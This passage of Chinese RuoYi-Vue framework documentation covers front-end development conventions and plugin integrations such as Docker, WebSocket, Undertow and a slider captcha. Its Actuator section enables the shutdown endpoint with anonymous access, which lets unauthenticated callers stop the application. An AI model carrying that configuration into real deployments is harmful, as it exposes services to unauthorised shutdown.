const url = "/tool/gen/batchGenCode?tables=" + tableNames; const name = "ruoyi"; // 默认方法 this.$download.zip(url, name);
- 更多文件下载操作
// 自定义文本保存 var blob = new Blob(["Hello, world!"], {type: "text/plain;charset=utf-8"}); this.$download.saveAs(blob, "hello world.txt"); // 自定义文件保存 var file = new File(["Hello, world!"], "hello world.txt", {type: "text/plain;charset=utf-8"}); this.$download.saveAs(file); // 自定义data数据保存 const blob = new Blob([data], { type: 'text/plain;charset=utf-8' }) this.$download.saveAs(blob, name) // 根据地址保存文件 this.$download.saveAs("https://ruoyi.vip/images/logo.png", "logo.jpg");
2、开发规范
.1、新增 view
在 @/views (opens new window)文件下 创建对应的文件夹,一般性一个路由对应一个文件, 该模块下的功能就建议在本文件夹下创建一个新文件夹,各个功能模块维护自己的utils
或components
组件。
.2、新增 api
在 @/api (opens new window)文件夹下创建本模块对应的 api 服务。
.3、新增组件
在全局的 @/components (opens new window)写一些全局的组件,如富文本,各种搜索组件,封装的分页组件等等能被公用的组件。 每个页面或者模块特定的业务组件则会写在当前 @/views (opens new window)下面。
如:@/views/system/user/components/xxx.vue
。这样拆分大大减轻了维护成本。
.4、新增样式
页面的样式和组件是一个道理,全局的 @/style (opens new window)放置一下全局公用的样式,每一个页面的样式就写在当前 views
下面,请记住加上scoped
就只会作用在当前组件内了,避免造成全局的样式污染。
/* 编译前 */ .example { color: red; } /* 编译后 */ .example[_v-f3f3eg9] { color: red; }
3、请求流程
.1、交互流程
一个完整的前端 UI 交互到服务端处理流程是这样的:
- UI 组件交互操作;
- 调用统一管理的 api service 请求函数;
- 使用封装的 request.js 发送请求;
- 获取服务端返回;
- 更新 data;
为了方便管理维护,统一的请求处理都放在 @/src/api
文件夹中,并且一般按照 model 维度进行拆分文件,如:
api/ system/ user.js role.js monitor/ operlog.js logininfor.js ...
提示
其中,@/src/utils/request.js (opens new window)是基于 axios 的封装,便于统一处理 POST,GET 等请求参数,请求头,以及错误提示信息等。 它封装了全局 request拦截器、response拦截器、统一的错误处理、统一做了超时处理、baseURL设置等。
.2、请求示例
// api/system/user.js import request from '@/utils/request' // 查询用户列表 export function listUser(query) { return request({ url: '/system/user/list', method: 'get', params: query }) } // views/system/user/index.vue import { listUser } from "@/api/system/user"; export default { data() { userList: null, loading: true }, methods: { getList() { this.loading = true listUser().then(response => { this.userList = response.rows this.loading = false }) } } }
提示
如果有不同的baseURL
,直接通过覆盖的方式,让它具有不同的baseURL
。
export function listUser(query) { return request({ url: '/system/user/list', method: 'get', params: query, baseURL: process.env.BASE_API }) }
4、引入依赖
除了 element-ui 组件以及脚手架内置的业务组件,有时我们还需要引入其他外部组件,这里以引入 vue-count-to (opens new window)为例进行介绍。
在终端输入下面的命令完成安装:
$ npm install vue-count-to --save
加上
--save
参数会自动添加依赖到 package.json 中去。
5、路由使用
框架的核心是通过路由自动生成对应导航,所以除了路由的基本配置,还需要了解框架提供了哪些配置项。
.1、路由配置
// 当设置 true 的时候该路由不会在侧边栏出现 如401,login等页面,或者如一些编辑页面/edit/1 hidden: true // (默认 false) //当设置 noRedirect 的时候该路由在面包屑导航中不可被点击 redirect: 'noRedirect' // 当你一个路由下面的 children 声明的路由大于1个时,自动会变成嵌套的模式--如组件页面 // 只有一个时,会将那个子路由当做根路由显示在侧边栏--如引导页面 // 若你想不管路由下面的 children 声明的个数都显示你的根路由 // 你可以设置 alwaysShow: true,这样它就会忽略之前定义的规则,一直显示根路由 alwaysShow: true name: 'router-name' // 设定路由的名字,一定要填写不然使用<keep-alive>时会出现各种问题 query: '{"id": 1, "name": "ry"}' // 访问路由的默认传递参数 roles: ['admin', 'common'] // 访问路由的角色权限 permissions: ['a:a:a', 'b:b:b'] // 访问路由的菜单权限 meta: { title: 'title' // 设置该路由在侧边栏和面包屑中展示的名字 icon: 'svg-name' // 设置该路由的图标,支持 svg-class,也支持 el-icon-x element-ui 的 icon noCache: true // 如果设置为true,则不会被 <keep-alive> 缓存(默认 false) breadcrumb: false // 如果设置为false,则不会在breadcrumb面包屑中显示(默认 true) affix: true // 如果设置为true,它则会固定在tags-view中(默认 false) // 当路由设置了该属性,则会高亮相对应的侧边栏。 // 这在某些场景非常有用,比如:一个文章的列表页路由为:/article/list // 点击文章进入文章详情页,这时候路由为/article/1,但你想在侧边栏高亮文章列表的路由,就可以进行如下设置 activeMenu: '/article/list' }
普通示例
{ path: '/system/test', component: Layout, redirect: 'noRedirect', hidden: false, alwaysShow: true, meta: { title: '系统管理', icon : "system" }, children: [{ path: 'index', component: (resolve) => require(['@/views/index'], resolve), name: 'Test', meta: { title: '测试管理', icon: 'user' } }] }
外链示例
{ path: 'http://ruoyi.vip', meta: { title: '若依官网', icon : "guide" } }
.2、静态路由
代表那些不需要动态判断权限的路由,如登录页、404、等通用页面,在@/router/index.js (opens new window)配置对应的公共路由。
.3、动态路由
代表那些需要根据用户动态判断权限并通过addRoutes
动态添加的页面,在@/store/modules/permission.js (opens new window)加载后端接口路由配置。
提示
- 动态路由可以在系统管理-菜单管理进行新增和修改操作,前端加载会自动请求接口获取菜单信息并转换成前端对应的路由。
- 动态路由在生产环境下会默认使用路由懒加载,实现方式参考
loadView
方法的判断。
.4、常用方法
想要跳转到不同的页面,使用router.push
方法
this.$router.push({ path: "/system/user" });
跳转页面并设置请求参数,使用query
属性
this.$router.push({ path: "/system/user", query: {id: "1", name: "若依"} });
更多使用可以参考vue-router (opens new window)官方文档。
6、组件使用
vue 注册组件的两种方式
.1、局部注册
在对应页使用components
注册组件。
<template> <count-to :startVal='startVal' :endVal='endVal' :duration='3000'></count-to> </template> <script> import countTo from 'vue-count-to'; export default { components: { countTo }, data () { return { startVal: 0, endVal: 2020 } } } </script>
.2、全局注册
在 @/main.js (opens new window)文件下注册组件。
import countTo from 'vue-count-to' Vue.component('countTo', countTo)
<template> <count-to :startVal='startVal' :endVal='endVal' :duration='3000'></count-to> </template>
.3、创建使用
可以通过创建一个后缀名为vue
的文件,在通过components
进行注册即可。
例如定义一个a.vue
文件
<!-- 子组件 --> <template> <div>这是a组件</div> </template>
在其他组件中导入并注册
<!-- 父组件 --> <template> <div style="text-align: center; font-size: 20px"> 测试页面 <testa></testa> </div> </template> <script> import a from "./a"; export default { components: { testa: a } }; </script>
.4、组件通信
通过props
来接收外界传递到组件内部的值
<!-- 父组件 --> <template> <div style="text-align: center; font-size: 20px"> 测试页面 <testa :name="name"></testa> </div> </template> <script> import a from "./a"; export default { components: { testa: a }, data() { return { name: "若依" }; }, }; </script> <!-- 子组件 --> <template> <div>这是a组件 name:{{ name }}</div> </template> <script> export default { props: { name: { type: String, default: "" }, } }; </script>
使用$emit
监听子组件触发的事件
<!-- 父组件 --> <template> <div style="text-align: center; font-size: 20px"> 测试页面 <testa :name="name" @ok="ok"></testa> 子组件传来的值 : {{ message }} </div> </template> <script> import a from "./a"; export default { components: { testa: a }, data() { return { name: "若依", message: "" }; }, methods: { ok(message) { this.message = message; }, }, }; </script> <!-- 子组件 --> <template> <div> 这是a组件 name:{{ name }} <button @click="click">发送</button> </div> </template> <script> export default { props: { name: { type: String, default: "" }, }, data() { return { message: "我是来自子组件的消息" }; }, methods: { click() { this.$emit("ok", this.message); }, }, }; </script>
7、权限使用
封装了一个指令权限,能简单快速的实现按钮级别的权限判断。v-permission(opens new window)
使用权限字符串 v-hasPermi
// 单个 <el-button v-hasPermi="['system:user:add']">存在权限字符串才能看到</el-button> // 多个 <el-button v-hasPermi="['system:user:add', 'system:user:edit']">包含权限字符串才能看到</el-button>
使用角色字符串 v-hasRole
// 单个 <el-button v-hasRole="['admin']">管理员才能看到</el-button> // 多个 <el-button v-hasRole="['role1', 'role2']">包含角色才能看到</el-button>
提示
在某些情况下,它是不适合使用v-hasPermi,如元素标签组件,只能通过手动设置v-if。 可以使用全局权限判断函数,用法和指令 v-hasPermi 类似。
<template> <el-tabs> <el-tab-pane v-if="checkPermi(['system:user:add'])" label="用户管理" name="user">用户管理</el-tab-pane> <el-tab-pane v-if="checkPermi(['system:user:add', 'system:user:edit'])" label="参数管理" name="menu">参数管理</el-tab-pane> <el-tab-pane v-if="checkRole(['admin'])" label="角色管理" name="role">角色管理</el-tab-pane> <el-tab-pane v-if="checkRole(['admin','common'])" label="定时任务" name="job">定时任务</el-tab-pane> </el-tabs> </template> <script> import { checkPermi, checkRole } from "@/utils/permission"; // 权限判断函数 export default{ methods: { checkPermi, checkRole } } </script>
前端有了鉴权后端还需要鉴权吗?
前端的鉴权只是一个辅助功能,对于专业人员这些限制都是可以轻松绕过的,为保证服务器安全,无论前端是否进行了权限校验,后端接口都需要对会话请求再次进行权限校验!
8、多级目录
如果你的路由是多级目录,有三级路由嵌套的情况下,还需要手动在二级目录的根文件下添加一个 <router-view>
。
如:@/views/system/log/index.vue (opens new window),原则上有多少级路由嵌套就需要多少个<router-view>
。
提示
最新版本多级目录已经支持自动配置组件,无需添加<router-view>
。
9、页签缓存
由于目前 keep-alive
和 router-view
是强耦合的,而且查看文档和源码不难发现 keep-alive
的 include (opens new window)默认是优先匹配组件的 name ,所以在编写路由 router 和路由对应的 view component 的时候一定要确保 两者的 name 是完全一致的。(切记 name 命名时候尽量保证唯一性 切记不要和某些组件的命名重复了,不然会递归引用最后内存溢出等问题)
DEMO:
//router 路由声明 { path: 'config', component: ()=>import('@/views/system/config/index'), name: 'Config', meta: { title: '参数设置', icon: 'edit' } }
//路由对应的view system/config/index export default { name: 'Config' }
一定要保证两者的名字相同,切记写重或者写错。默认如果不写 name 就不会被缓存,详情见issue (opens new window)。
提示
在系统管理-菜单管理-可以配置菜单页签是否缓存,默认为缓存
10、使用图标
全局 Svg Icon 图标组件。
默认在 @/icons/index.js (opens new window)中注册到全局中,可以在项目中任意地方使用。所以图标均可在 @/icons/svg (opens new window)。可自行添加或者删除图标,所以图标都会被自动导入,无需手动操作。
.1、使用方式
<!-- icon-class 为 icon 的名字; class-name 为 icon 自定义 class--> <svg-icon icon-class="password" class-name='custom-class' />
.2、改变颜色
svg-icon` 默认会读取其父级的 color `fill: currentColor;
你可以改变父级的color
或者直接改变fill
的颜色即可。
提示
如果你是从 iconfont (opens new window)下载的图标,记得使用如 Sketch 等工具规范一下图标的大小问题,不然可能会造成项目中的图标大小尺寸不统一的问题。 本项目中使用的图标都是 128*128 大小规格的。
11、使用字典
字典管理是用来维护数据类型的数据,如下拉框、单选按钮、复选框、树选择的数据,方便系统管理员维护。主要功能包括:字典分类管理、字典数据管理
大于3.7.0
版本使用如下方法
1、main.js中引入全局变量和方法(已有)
import DictData from '@/components/DictData' DictData.install()
2、加载数据字典,可以是多个。
export default { dicts: ['字典类型'], ... ...
3、读取数据字典
<el-option v-for="dict in dict.type.字典类型" :key="dict.value" :label="dict.label" :value="dict.value" />
4、翻译数据字典
// 字典标签组件翻译 <el-table-column label="名称" align="center" prop="name"> <template slot-scope="scope"> <dict-tag :options="dict.type.字典类型" :value="scope.row.name"/> </template> </el-table-column> // 自定义方法翻译 {{ xxxxFormat(form) }} xxxxFormat(row, column) { return this.selectDictLabel(this.dict.type.字典类型, row.name); },
小于3.7.0
版本使用如下方法
1、main.js中引入全局变量和方法(已有)
import { getDicts } from "@/api/system/dict/data"; Vue.prototype.getDicts = getDicts
2、加载数据字典
export default { data() { return { xxxxxOptions: [], ..... ... created() { this.getDicts("字典类型").then(response => { this.xxxxxOptions = response.data; }); },
3、读取数据字典
<el-option v-for="dict in xxxxxOptions" :key="dict.dictValue" :label="dict.dictLabel" :value="dict.dictValue" />
4、翻译数据字典
// 字典标签组件翻译 <el-table-column label="名称" align="center" prop="name"> <template slot-scope="scope"> <dict-tag :options="xxxxxOptions" :value="scope.row.name"/> </template> </el-table-column> // 自定义方法翻译 {{ xxxxFormat(form) }} xxxxFormat(row, column) { return this.selectDictLabel(this.xxxxxOptions, row.name); },
12、使用参数
参数设置是提供开发人员、实施人员的动态系统配置参数,不需要去频繁修改后台配置文件,也无需重启服务器即可生效。
1、main.js中引入全局变量和方法(已有)
import { getConfigKey } from "@/api/system/config"; Vue.prototype.getConfigKey = getConfigKey
2、页面使用参数
this.getConfigKey("参数键名").then(response => { this.xxxxx = response.msg; });
13、异常处理
@/utils/request.js
是基于 axios
的封装,便于统一处理 POST,GET 等请求参数,请求头,以及错误提示信息等。它封装了全局 request拦截器
、response拦截器
、统一的错误处理
、统一做了超时处理
、baseURL设置等
。 如果有自定义错误码可以在errorCode.js
中设置对应key
value
值。
import axios from 'axios' import { Notification, MessageBox, Message } from 'element-ui' import store from '@/store' import { getToken } from '@/utils/auth' import errorCode from '@/utils/errorCode' import { tansParams } from "@/utils/ruoyi"; axios.defaults.headers['Content-Type'] = 'application/json;charset=utf-8' // 创建axios实例 const service = axios.create({ // axios中请求配置有baseURL选项,表示请求URL公共部分 baseURL: process.env.VUE_APP_BASE_API, // 超时 timeout: 10000 }) // request拦截器 service.interceptors.request.use(config => { // 是否需要设置 token const isToken = (config.headers || {}).isToken === false if (getToken() && !isToken) { config.headers['Authorization'] = 'Bearer ' + getToken() // 让每个请求携带自定义token 请根据实际情况自行修改 } return config }, error => { console.log(error) Promise.reject(error) }) // 响应拦截器 service.interceptors.response.use(res => { // 未设置状态码则默认成功状态 const code = res.data.code || 200; // 获取错误信息 const msg = errorCode[code] || res.data.msg || errorCode['default'] if (code === 401) { MessageBox.confirm('登录状态已过期,您可以继续留在该页面,或者重新登录', '系统提示', { confirmButtonText: '重新登录', cancelButtonText: '取消', type: 'warning' } ).then(() => { store.dispatch('LogOut').then(() => { location.href = '/index'; }) }) } else if (code === 500) { Message({ message: msg, type: 'error' }) return Promise.reject(new Error(msg)) } else if (code !== 200) { Notification.error({ title: msg }) return Promise.reject('error') } else { return res.data } }, error => { console.log('err' + error) let { message } = error; if (message == "Network Error") { message = "后端接口连接异常"; } else if (message.includes("timeout")) { message = "系统接口请求超时"; } else if (message.includes("Request failed with status code")) { message = "系统接口" + message.substr(message.length - 3) + "异常"; } Message({ message: message, type: 'error', duration: 5 * 1000 }) return Promise.reject(error) } ) // 通用下载方法 export function download(url, params, filename) { return service.post(url, params, { transformRequest: [(params) => { return tansParams(params) }], responseType: 'blob' }).then((data) => { const content = data const blob = new Blob([content]) if ('download' in document.createElement('a')) { const elink = document.createElement('a') elink.download = filename elink.style.display = 'none' elink.href = URL.createObjectURL(blob) document.body.appendChild(elink) elink.click() URL.revokeObjectURL(elink.href) document.body.removeChild(elink) } else { navigator.msSaveBlob(blob, filename) } }).catch((r) => { console.error(r) }) } export default service
提示
如果有些不需要传递token的请求,可以设置headers
中的属性isToken
为false
export function login(username, password, code, uuid) { return request({ url: 'xxxx', headers: { isToken: false, // 可以自定义 Authorization // 'Authorization': 'Basic d2ViOg==' }, method: 'get' }) }
14、应用路径
有些特殊情况需要部署到子路径下,例如:https://www.ruoyi.vip/admin
,可以按照下面流程修改。
1、修改vue.config.js
中的publicPath
属性
publicPath: process.env.NODE_ENV === "production" ? "/admin/" : "/admin/",
2、修改router/index.js
,添加一行base
属性
export default new Router({ base: "/admin", mode: 'history', // 去掉url中的# scrollBehavior: () => ({ y: 0 }), routes: constantRoutes })
3、/index
路由添加获取子路径/admin
修改layout/components/Navbar.vue
中的location.href
location.href = '/admin/index';
修改utils/request.js
中的location.href
location.href = '/admin/index';
4、修改nginx
配置
location /admin { alias /home/ruoyi/projects/ruoyi-ui; try_files $uri $uri/ /admin/index.html; index index.html index.htm; }
打开浏览器,输入:https://www.ruoyi.vip/admin
能正常访问和刷新表示成功。
15、内容复制
如果要使用复制功能可以使用指令v-clipboard
,示例代码。
<el-button v-clipboard:copy="content" v-clipboard:success="copySuccess" v-clipboard:error="copyFailed" >复制</el-button>
参数 | 说明 |
---|---|
v-clipboard:copy | 需要复制的内容 |
v-clipboard:cat | 需要剪贴的内容 |
v-clipboard:success | 复制成功处理函数 |
clipboard:error | 复制失败处理函数 |
二十三、插件集成
为了让开发者更加方便和快速的满足需求,提供了各种插件集成实现方案。
1、集成docker实现一键部署
Docker
是一个虚拟环境容器,可以将你的开发环境、代码、配置文件等一并打包到这个容器中,最终只需要一个命令即可打包发布应用到任意平台中。
1、安装docker
yum install https://download.docker.com/linux/fedora/30/x86_64/stable/Packages/containerd.io-1.2.6-3.3.fc30.x86_64.rpm yum install -y yum-utils device-mapper-persistent-data lvm2 yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo yum install -y docker-ce curl -L "https://github.com/docker/compose/releases/download/1.25.0/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
2、检查docker
和docker-compose
是否安装成功
docker version docker-compose --version
3、文件授权
chmod +x /usr/local/bin/docker-compose
4、下载若依docker插件,上传到自己的服务器目录
插件相关脚本实现ruoyi-vue/集成docker实现一键部署.zip
链接: https://pan.baidu.com/s/13JVC9jm-Dp9PfHdDDylLCQ 提取码: y9jt
- 其中
db目录
存放ruoyi数据库脚本
- 其中
jar目录
存放打包好的jar应用文件
- 其中
conf目录
存放redis.conf
和nginx.conf
配置 - 其中
html\dist目录
存放打包好的静态页面文件 - 数据库
mysql
地址需要修改成ruoyi-mysql
- 缓存
redis
地址需要修改成ruoyi-redis
- 数据库脚本头部需要添加
SET NAMES 'utf8';
(防止乱码)
5、启动docker
systemctl start docker
6、构建docker服务
docker-compose build
7、启动docker容器
docker-compose up -d
8、访问应用地址
打开浏览器,输入:(http://localhost:80 (opens new window)),若能正确展示页面,则表明环境搭建成功。
提示
启动服务的容器docker-compose up ruoyi-mysql ruoyi-server ruoyi-nginx ruoyi-redis
停止服务的容器docker-compose stop ruoyi-mysql ruoyi-server ruoyi-nginx ruoyi-redis
2、成websocket实现实时通信
WebSocket
是一种通信协议,可在单个TCP
连接上进行全双工通信。WebSocket
使得客户端和服务器之间的数据交换变得更加简单,允许服务端主动向客户端推送数据。在WebSocket API
中,浏览器和服务器只需要完成一次握手,两者之间就可以建立持久性的连接,并进行双向数据传输。
1、ruoyi-framework/pom.xml
文件添加websocket
依赖。
<!-- SpringBoot Websocket --> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-websocket</artifactId> </dependency>
2、配置匿名访问(可选)
// 如果需要不登录也可以访问,需要在`SecurityConfig.java`中设置匿名访问 ("/websocket/**").permitAll()
3、下载插件相关包和代码实现覆盖到工程中
提示
插件相关包和代码实现ruoyi-vue/集成websocket实现实时通信.zip
链接: https://pan.baidu.com/s/13JVC9jm-Dp9PfHdDDylLCQ 提取码: y9jt
4、测试验证
如果要测试验证可以把websocket.vue
内容复制到login.vue
,点击连接发送消息测试返回结果。
3、集成atomikos实现分布式事务
在一些复杂的应用开发中,一个应用可能会涉及到连接多个数据源,所谓多数据源这里就定义为至少连接两个及以上的数据库了。 对于这种多数据的应用中,数据源就是一种典型的分布式场景,因此系统在多个数据源间的数据操作必须做好事务控制。在SpringBoot
的官网推荐我们使用Atomikos (opens new window)。 当然分布式事务的作用并不仅仅应用于多数据源。例如:在做数据插入的时候往一个kafka
消息队列写消息,如果信息很重要同样需要保证分布式数据的一致性。
若依框架已经通过Druid
实现了多数据源切换,但是Spring
开启事务后会维护一个ConnectionHolder,保证在整个事务下,都是用同一个数据库连接。所以我们需要Atomikos
解决多数据源事务的一致性问题
1、ruoyi-framework/pom.xml
文件添加atomikos
依赖。
<!-- atomikos分布式事务 --> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-jta-atomikos</artifactId> </dependency>
2、下载插件相关包和代码实现覆盖到工程中
提示
插件相关包和代码实现ruoyi/集成atomikos实现分布式事务.zip
链接: https://pan.baidu.com/s/13JVC9jm-Dp9PfHdDDylLCQ 提取码: y9jt
3、测试验证
加入多数据源,如果不会使用可以参考多数据源实现。
对应需要操作多数据源方法加入@Transactional
测试一致性,例如。
@Transactional public void insert() { SpringUtils.getAopProxy(this).insertA(); SpringUtils.getAopProxy(this).insertB(); } @DataSource(DataSourceType.MASTER) public void insertA() { return xxxxMapper.insertXxxx(); } @DataSource(DataSourceType.SLAVE) public void insertB() { return xxxxMapper.insertXxxx(); }
到此我们项目多个数据源的事务控制生效了
4、使用undertow来替代tomcat容器
SpingBoot
中我们既可以使用Tomcat
作为Http
服务,也可以用Undertow
来代替。Undertow
在高并发业务场景中,性能优于Tomcat
。所以,如果我们的系统是高并发请求,不妨使用一下Undertow
,你会发现你的系统性能会得到很大的提升。
1、ruoyi-framework\pom.xml
模块修改web容器依赖,使用undertow来替代tomcat容器
<!-- SpringBoot Web容器 --> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> <exclusions> <exclusion> <artifactId>spring-boot-starter-tomcat</artifactId> <groupId>org.springframework.boot</groupId> </exclusion> </exclusions> </dependency> <!-- web 容器使用 undertow --> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-undertow</artifactId> </dependency>
2、修改application.yml
,使用undertow来替代tomcat容器
# 开发环境配置 server: # 服务器的HTTP端口,默认为80 port: 80 servlet: # 应用的访问路径 context-path: / # undertow 配置 undertow: # HTTP post内容的最大大小。当值为-1时,默认值为大小是无限的 max-http-post-size: -1 # 以下的配置会影响buffer,这些buffer会用于服务器连接的IO操作,有点类似netty的池化内存管理 # 每块buffer的空间大小,越小的空间被利用越充分 buffer-size: 512 # 设置IO线程数, 它主要执行非阻塞的任务,它们会负责多个连接, 默认设置每个CPU核心一个线程 io-threads: 8 # 阻塞任务线程池, 当执行类似servlet请求阻塞操作, undertow会从这个线程池中取得线程,它的值设置取决于系统的负载 worker-threads: 256 # 是否分配的直接内存 direct-buffers: true
3、修改文件上传工具类FileUploadUtils.java
private static final File getAbsoluteFile(String uploadDir, String fileName) throws IOException { File desc = new File(uploadDir + File.separator + fileName); if (!desc.getParentFile().exists()) { desc.getParentFile().mkdirs(); } // undertow文件上传,因底层实现不同,无需创建新文件 // if (!desc.exists()) // { // desc.createNewFile(); // } return desc; }
5、集成actuator实现优雅关闭应用
优雅停机主要应用在版本更新的时候,为了等待正在工作的线程全部执行完毕,然后再停止。我们可以使用SpringBoot
提供的Actuator
1、pom.xml
中引入actuator
依赖
<dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-actuator</artifactId> </dependency>
2、配置文件中endpoint
开启shutdown
management: endpoint: shutdown: enabled: true endpoints: web: exposure: include: "shutdown" base-path: /monitor
3、在SecurityConfig
中设置httpSecurity
配置匿名访问
.antMatchers("/monitor/shutdown").anonymous()
4、Post
请求测试验证优雅停机 curl -X POST http://localhost:8080/monitor/shutdown
6、集成aj-captcha实现滑块验证码
集成以AJ-Captcha
滑块验证码为例,不需要键盘手动输入,极大优化了传统验证码用户体验不佳的问题。目前对外提供两种类型的验证码,其中包含滑动拼图、文字点选。
1、ruoyi-framework\pom.xml
添加依赖
<!-- 滑块验证码 --> <dependency> <groupId>com.github.anji-plus</groupId> <artifactId>captcha-spring-boot-starter</artifactId> <version>1.2.7</version> </dependency> <!-- 原有的验证码kaptcha依赖不需要可以删除 -->
2、修改application.yml
,加入aj-captcha
配置
# 滑块验证码 aj: captcha: # 缓存类型 cache-type: redis # blockPuzzle 滑块 clickWord 文字点选 default默认两者都实例化 type: blockPuzzle # 右下角显示字 water-mark: ruoyi.vip # 校验滑动拼图允许误差偏移量(默认5像素) slip-offset: 5 # aes加密坐标开启或者禁用(true|false) aes-status: true # 滑动干扰项(0/1/2) interference-options: 2
同时在ruoyi-admin\src\main\resources\META-INF\services
下创建com.anji.captcha.service.CaptchaCacheService文件同时设置文件内容为
com.ruoyi.framework.web.service.CaptchaRedisService
1
3、在SecurityConfig中设置httpSecurity配置匿名访问
.antMatchers("/login", "/captcha/get", "/captcha/check").permitAll()
1
4、修改相关类
可以移除不需要的类
ruoyi-admin\com\ruoyi\web\controller\common\CaptchaController.java` `ruoyi-framework\com\ruoyi\framework\config\CaptchaConfig.java` `ruoyi-framework\com\ruoyi\framework\config\KaptchaTextCreator.java
修改ruoyi-admin\com\ruoyi\web\controller\system\SysLoginController.java
/** * 登录方法 * * @param loginBody 登录信息 * @return 结果 */ @PostMapping("/login") public AjaxResult login(@RequestBody LoginBody loginBody) { AjaxResult ajax = AjaxResult.success(); // 生成令牌 String token = loginService.login(loginBody.getUsername(), loginBody.getPassword(), loginBody.getCode()); ajax.put(Constants.TOKEN, token); return ajax; }
修改ruoyi-framework\com\ruoyi\framework\web\service\SysLoginService.java
package com.ruoyi.framework.web.service; import javax.annotation.Resource; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.context.annotation.Lazy; import org.springframework.security.authentication.AuthenticationManager; import org.springframework.security.authentication.BadCredentialsException; import org.springframework.security.authentication.UsernamePasswordAuthenticationToken; import org.springframework.security.core.Authentication; import org.springframework.stereotype.Component; import com.anji.captcha.model.common.ResponseModel; import com.anji.captcha.model.vo.CaptchaVO; import com.anji.captcha.service.CaptchaService; import com.ruoyi.common.constant.Constants; import com.ruoyi.common.core.domain.entity.SysUser; import com.ruoyi.common.core.domain.model.LoginUser; import com.ruoyi.common.exception.ServiceException; import com.ruoyi.common.exception.user.CaptchaException; import com.ruoyi.common.exception.user.UserPasswordNotMatchException; import com.ruoyi.common.utils.DateUtils; import com.ruoyi.common.utils.MessageUtils; import com.ruoyi.common.utils.ServletUtils; import com.ruoyi.common.utils.ip.IpUtils; import com.ruoyi.framework.manager.AsyncManager; import com.ruoyi.framework.manager.factory.AsyncFactory; import com.ruoyi.system.service.ISysUserService; /** * 登录校验方法 * * @author ruoyi */ @Component public class SysLoginService { @Autowired private TokenService tokenService; @Resource private AuthenticationManager authenticationManager; @Autowired private ISysUserService userService; @Autowired @Lazy private CaptchaService captchaService; /** * 登录验证 * * @param username 用户名 * @param password 密码 * @param code 验证码 * @return 结果 */ public String login(String username, String password, String code) { CaptchaVO captchaVO = new CaptchaVO(); captchaVO.setCaptchaVerification(code); ResponseModel response = captchaService.verification(captchaVO); if (!response.isSuccess()) { AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.LOGIN_FAIL, MessageUtils.message("user.jcaptcha.error"))); throw new CaptchaException(); } // 用户验证 Authentication authentication = null; try { // 该方法会去调用UserDetailsServiceImpl.loadUserByUsername authentication = authenticationManager .authenticate(new UsernamePasswordAuthenticationToken(username, password)); } catch (Exception e) { if (e instanceof BadCredentialsException) { AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.LOGIN_FAIL, MessageUtils.message("user.password.not.match"))); throw new UserPasswordNotMatchException(); } else { AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.LOGIN_FAIL, e.getMessage())); throw new ServiceException(e.getMessage()); } } AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.LOGIN_SUCCESS, MessageUtils.message("user.login.success"))); LoginUser loginUser = (LoginUser) authentication.getPrincipal(); // 生成token return tokenService.createToken(loginUser); } /** * 记录登录信息 * * @param userId 用户ID */ public void recordLoginInfo(Long userId) { SysUser sysUser = new SysUser(); sysUser.setUserId(userId); sysUser.setLoginIp(IpUtils.getIpAddr(ServletUtils.getRequest())); sysUser.setLoginDate(DateUtils.getNowDate()); userService.updateUserProfile(sysUser); } }
新增 ruoyi-framework\com\ruoyi\framework\web\service\CaptchaRedisService.java
package com.ruoyi.framework.web.service; import java.util.concurrent.TimeUnit; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.data.redis.core.StringRedisTemplate; import com.anji.captcha.service.CaptchaCacheService; /** * 自定义redis验证码缓存实现类 * * @author ruoyi */ public class CaptchaRedisService implements CaptchaCacheService { @Autowired private StringRedisTemplate stringRedisTemplate; @Override public void set(String key, String value, long expiresInSeconds) { stringRedisTemplate.opsForValue().set(key, value, expiresInSeconds, TimeUnit.SECONDS); } @Override public boolean exists(String key) { return stringRedisTemplate.hasKey(key); } @Override public void delete(String key) { stringRedisTemplate.delete(key); } @Override public String get(String key) { return stringRedisTemplate.opsForValue().get(key); } @Override public Long increment(String key, long val) { return stringRedisTemplate.opsForValue().increment(key, val); } @Override public String type() { return "redis"; } }
5、添加滑动验证码插件到ruoyi-ui
下载前端插件相关包和代码实现ruoyi-vue/集成滑动验证码.zip
链接: https://pan.baidu.com/s/13JVC9jm-Dp9PfHdDDylLCQ 提取码: y9jt
7、集成sharding-jdbc实现分库分表
sharding-jdbc
是由当当捐入给apache
的一款分布式数据库中间件,支持垂直分库、垂直分表、水平分库、水平分表、读写分离、分布式事务和高可用等相关功能。
1、ruoyi-framework\pom.xml
模块添加sharding-jdbc整合依赖
<!-- sharding-jdbc分库分表 --> <dependency> <groupId>org.apache.shardingsphere</groupId> <artifactId>sharding-jdbc-core</artifactId> <version>4.1.1</version> </dependency>
2、创建两个测试数据库
create database `ry-order1`; create database `ry-order2`;
3、创建两个测试订单表
-- ---------------------------- -- 订单信息表sys_order_0 -- ---------------------------- drop table if exists sys_order_0; create table sys_order_0 ( order_id bigint(20) not null comment '订单ID', user_id bigint(64) not null comment '用户编号', status char(1) not null comment '状态(0交易成功 1交易失败)', order_no varchar(64) default null comment '订单流水', primary key (order_id) ) engine=innodb comment = '订单信息表'; -- ---------------------------- -- 订单信息表sys_order_1 -- ---------------------------- drop table if exists sys_order_1; create table sys_order_1 ( order_id bigint(20) not null comment '订单ID', user_id bigint(64) not null comment '用户编号', status char(1) not null comment '状态(0交易成功 1交易失败)', order_no varchar(64) default null comment '订单流水', primary key (order_id) ) engine=innodb comment = '订单信息表';
4、配置文件application-druid.yml
添加测试数据源
